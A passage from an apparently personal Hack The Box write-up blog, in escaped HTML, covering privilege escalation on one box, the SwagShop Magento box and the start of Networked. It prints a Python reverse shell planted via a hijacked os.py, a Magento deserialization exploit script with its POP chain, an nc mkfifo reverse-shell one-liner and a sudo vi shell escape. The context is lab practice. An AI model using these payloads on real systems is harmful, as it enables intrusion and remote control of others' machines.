src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0166.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Finally got a foothold.&lt;/p&gt;&#10;&lt;p&gt;Gather more information:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for development process this is the mysql creds for user friend&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;db_user=friend&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;db_pass=Agpyu12!0.213$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;db_name=FZ&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;At the start of this step I had not yet uploaded and run a script, but I found friend&amp;rsquo;s mysql password.&lt;/p&gt;&#10;&lt;p&gt;I also found a user named friend under home.&lt;/p&gt;&#10;&lt;p&gt;su did not work directly. Create a tty, and then su can switch to friend.&lt;/p&gt;&#10;&lt;p&gt;python -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0167.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;sudo -l was unavailable. Just connect directly with ssh.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0168.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;All right, I misread it. It meant that friend was banned from using sudo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0169.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I thought conventional privilege escalation would finish this. Just upload a script and run a scan.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;root 596 0.0 0.3 28676 2964 ? Ss 09:12 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x 1 root root 1232 Apr 19 2018 console-setup.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x 1 root root 3809 Feb 15 2018 hwclock.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x 1 root root 1479 Feb 16 2018 keyboard-setup.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rw-r--r-- 1 root root 685 Jan 28 2018 resolv.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rw-r--r-- 1 root root 42 Jun 27 2018 apache2-systemd.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x 1 root root 92 Feb 22 2018 hdparm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rw-rw---- 1 friend mail 1 Jan 15 2019 friend&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;There really was nothing useful. Let&amp;rsquo;s check the processes. Several privilege-escalation routes I had found so far involved scheduled tasks that I could not see, but they would be visible in the process list.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0170.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There really was a scheduled task.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0171.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Everything was commented out, but it mentioned an SMTP service for sending email.&lt;/p&gt;&#10;&lt;p&gt;I also saw user set to you and pass set to PAPAP.&lt;/p&gt;&#10;&lt;p&gt;After finishing collection, I continued searching and found something very interesting.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0172.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This basically confirmed it. Importing os.py would trigger the main function inside os. I had encountered this many times while coding before; just add something to it. Under the hood, os.py calls posixmodule.c, and that file has no system function. Just find a python reverse-shell script. Putting it in the main function will naturally cause it to be called.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0173.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Everything I found imported os, so I just needed one that did not use os.&lt;/p&gt;&#10;&lt;p&gt;Finding a script took a long time, but I eventually found one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import socket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import subprocess&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import pty&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s.connect((&amp;#34;10.10.16.13&amp;#34;, 6666))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s_dup = s.fileno()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;subprocess.call([&amp;#34;/bin/sh&amp;#34;], stdin=s_dup, stdout=s_dup, stderr=s_dup)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The reverse shell connected successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0174.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That finally completed it. I learned a lot about the thought process here as well. Just keep practicing.&lt;/p&gt;&#10;&lt;h2 id="10swagshop"&gt;&lt;a href="#10swagshop" class="header-anchor"&gt;&lt;/a&gt;10.SwagShop&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0175.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0176.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0177.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0178.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0179.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was clearly a cms framework. Search for it immediately, identify the target version, and check for default credentials at the same time.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0180.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;These exp could not find the endpoint, so they could not be used.&lt;/p&gt;&#10;&lt;p&gt;Directory brute-forcing revealed an interesting location.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0181.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Every uploaded session was recorded. I started by brute-forcing to see whether any historical session could be used to log in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0182.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0183.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0184.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was another approach. If I left the site alone and the target&amp;rsquo;s backend had a scheduled task, it would naturally log in automatically. I could keep refreshing without a cookie and then check which cookie was the newest.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0185.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was absolutely nothing. I waited around 10 minutes to see whether a scheduled task would upload a session.&lt;/p&gt;&#10;&lt;p&gt;There was still no scheduled task activity.&lt;/p&gt;&#10;&lt;p&gt;However, the session files could be opened. I could brute-force the session files directly and inspect their contents, filtering them one by one as long as the ip was not mine.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0186.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0187.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0188.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were actually many more, but I will not list them all.&lt;/p&gt;&#10;&lt;p&gt;They contained many cookies and endpoints, but even after using those cookies and changing the ua, I still could not access anything.&lt;/p&gt;&#10;&lt;p&gt;I wondered whether the cookie had expired, but found that the session could record things that had previously been accessed. At the same time, I found this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0189.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Try logging in once with anything and see how it records the credentials.&lt;/p&gt;&#10;&lt;p&gt;I could not log in at all.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0190.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0191.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While searching for the hash, I found a report whose path closely resembled the searchsploit script I had found.&lt;/p&gt;&#10;&lt;p&gt;This article was written in 2015, when the vulnerability was still considered a 0day.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.sucuri.net/2015/04/magento-shoplift-supee-5344-exploits-in-the-wild.html" target="_blank" rel="noopener"&#10; &gt;https://blog.sucuri.net/2015/04/magento-shoplift-supee-5344-exploits-in-the-wild.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It felt like everything was hinting that I should use an exp, but I did not actually know the exact version of this cms.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0192.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the poc. I had forgotten this approach: if no version information can be found, perhaps the wordlist is simply not strong enough, and you can try an nday directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0193.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked. The script had a bug.&lt;/p&gt;&#10;&lt;p&gt;Delete the uncommented part and add the domain yourself. Another important point is that index.php must be appended for the include to work; otherwise the path cannot be resolved.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0194.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Finally got into the admin backend.&lt;/p&gt;&#10;&lt;p&gt;I actually had another code-execution script here, 37811, which I found during the earlier search. It could not log in without a username and password. Now I could modify the code and see whether it could get a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0195.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was where the script&amp;rsquo;s problem lay. Its request could never obtain the key. The intended approach was to append the key to the discovered url path and enter the backend directly. Delete all the earlier login code and pass it the key and url instead.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0196.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was extremely difficult to sort out. I had no choice but to audit the code, and eventually finished it.&lt;/p&gt;&#10;&lt;p&gt;The two values needed for a successful login were on this home page.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0197.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Right on the home page.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0198.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The second value was also on the home page. Just switch over and capture the traffic.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0199.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Update the date.&lt;/p&gt;&#10;&lt;p&gt;Constructing the payload with the wrong type caused the script to hang; it had to be a bytes-like object rather than a str. I modified the original code and constructed it with Python 2.&lt;/p&gt;&#10;&lt;p&gt;Actually, just remove this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0200.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The code failed entirely because the login here did not succeed, which caused everything afterward to fail. Delete it, fix everything, and running it directly produces the result.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0201.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I spent a great deal of time debugging this script. I had never used mechanize before, and if I reused it directly with python3, its regular expression had to be rewritten. If I simply inserted the required parameters myself, it also reported an error. It was ridiculous.&lt;/p&gt;&#10;&lt;p&gt;In particular, the final request and encryption had to be done with python2 because python2 and 3 generate base64 differently.&lt;/p&gt;&#10;&lt;p&gt;After reviewing everything and finally getting it to execute successfully, the easiest method was simply to find the tunnel parameter yourself. That was very easy.&lt;/p&gt;&#10;&lt;p&gt;For the payload, add the parameters yourself and let it generate the payload locally. Then just concatenate the url and visit it yourself.&lt;/p&gt;&#10;&lt;p&gt;Adding parameters to the script below directly produces the exp.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;from hashlib import md5&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import sys&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import re&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import base64&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import mechanize&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;arg = &amp;#34;whoami&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;php_function = &amp;#39;system&amp;#39; # Note: we can only pass 1 argument to the function&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;install_date = &amp;#39;Wed, 08 May 2019 07:23:09 +0000&amp;#39; # This needs to be the exact date from /app/etc/local.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# POP chain to pivot into call_user_exec&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;payload = &amp;#39;O:8:\&amp;#34;Zend_Log\&amp;#34;:1:{s:11:\&amp;#34;\00*\00_writers\&amp;#34;;a:2:{i:0;O:20:\&amp;#34;Zend_Log_Writer_Mail\&amp;#34;:4:{s:16:&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;\&amp;#34;\00*\00_eventsToMail\&amp;#34;;a:3:{i:0;s:11:\&amp;#34;EXTERMINATE\&amp;#34;;i:1;s:12:\&amp;#34;EXTERMINATE!\&amp;#34;;i:2;s:15:\&amp;#34;&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;EXTERMINATE!!!!\&amp;#34;;}s:22:\&amp;#34;\00*\00_subjectPrependText\&amp;#34;;N;s:10:\&amp;#34;\00*\00_layout\&amp;#34;;O:23:\&amp;#34;&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Zend_Config_Writer_Yaml\&amp;#34;:3:{s:15:\&amp;#34;\00*\00_yamlEncoder\&amp;#34;;s:%d:\&amp;#34;%s\&amp;#34;;s:17:\&amp;#34;\00*\00&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;_loadedSection\&amp;#34;;N;s:10:\&amp;#34;\00*\00_config\&amp;#34;;O:13:\&amp;#34;Varien_Object\&amp;#34;:1:{s:8:\&amp;#34;\00*\00_data\&amp;#34;&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;;s:%d:\&amp;#34;%s\&amp;#34;;}}s:8:\&amp;#34;\00*\00_mail\&amp;#34;;O:9:\&amp;#34;Zend_Mail\&amp;#34;:0:{}}i:1;i:2;}}&amp;#39; % (len(php_function), php_function,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; len(arg), arg)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tunnel = &amp;#34;http://swagshop.htb/index.php/admin/dashboard/tunnel/key/cfd2660c391a49a2ee56a96ffe8300f0/&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;payload = base64.b64encode(payload)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gh = md5(payload + install_date).hexdigest()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;exploit = tunnel + &amp;#39;?ga=&amp;#39; + payload + &amp;#39;&amp;amp;h=&amp;#39; + gh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print exploit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;arg is the command you want to execute.&lt;/p&gt;&#10;&lt;p&gt;install_date comes from /app/etc/local.xml.&lt;/p&gt;&#10;&lt;p&gt;After obtaining tunnel, keep only the key and delete everything after it.&lt;/p&gt;&#10;&lt;p&gt;Just visit the URL produced as exploit.&lt;/p&gt;&#10;&lt;p&gt;A bash reverse shell did not work in testing, so I used nc and got a connection back.&lt;/p&gt;&#10;&lt;p&gt;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.0.0.1 1234 &amp;gt;/tmp/f&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0202.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Getting the initial external foothold here demanded a fairly high level of code-auditing skill.&lt;/p&gt;&#10;&lt;p&gt;Privilege-escalation information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0203.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0204.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I originally thought I needed to escalate to haris, but one look at sudo -l revealed a conventional privilege-escalation path.&lt;/p&gt;&#10;&lt;p&gt;sudo /usr/bin/vi /var/www/html/api.php&lt;/p&gt;&#10;&lt;p&gt;Enter :!/bin/sh directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0205.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Overall, the hard part was not that the cms itself was especially difficult, but that it was so old. I had to modify scripts and audit code myself. At first I thought the code was written too abstractly, but looking at it later, it was actually correct; there were simply too many things to determine. Most of the time was spent obtaining the initial external foothold.&lt;/p&gt;&#10;&lt;h2 id="11networked"&gt;&lt;a href="#11networked" class="header-anchor"&gt;&lt;/a&gt;11.Networked&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0206.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll get straight to the point: there wasn&amp;rsquo;t much here. It was mainly a code audit.&lt;/p&gt;&#10;&lt;p&gt;I reviewed all three files from start to finish and found no vulnerabilities at all. The only thing I noticed was its rather distinctive file-naming scheme.&lt;/p&gt;&#10;&lt;p&gt;There was still nothing after the audit, so I had no choice but to read a write-up. It was a bit mind-blowing.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://stackoverflow.com/questions/78705237/file-upload-bypass-mechnisms-in-php" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/78705237/file-upload-bypass-mechnisms-in-php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://dev.to/giannisftaras/file-upload-bypass-using-mime-type-4ej0" target="_blank" rel="noopener"&#10; &gt;https://dev.to/giannisftaras/file-upload-bypass-using-mime-type-4ej0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://techyzilla.blogspot.com/2012/07/injecting-malicious-php-in-to-an-image-file.html" target="_blank" rel="noopener"&#10; &gt;https://techyzilla.blogspot.com/2012/07/injecting-malicious-php-in-to-an-image-file.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I don&amp;rsquo;t know whether the box is just too old or what, but this was my first time seeing this kind of bypass.&lt;/p&gt;&#10;&lt;p&gt;There was actually a hint, though.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0207.zh.webp" alt="" loading="lazy" 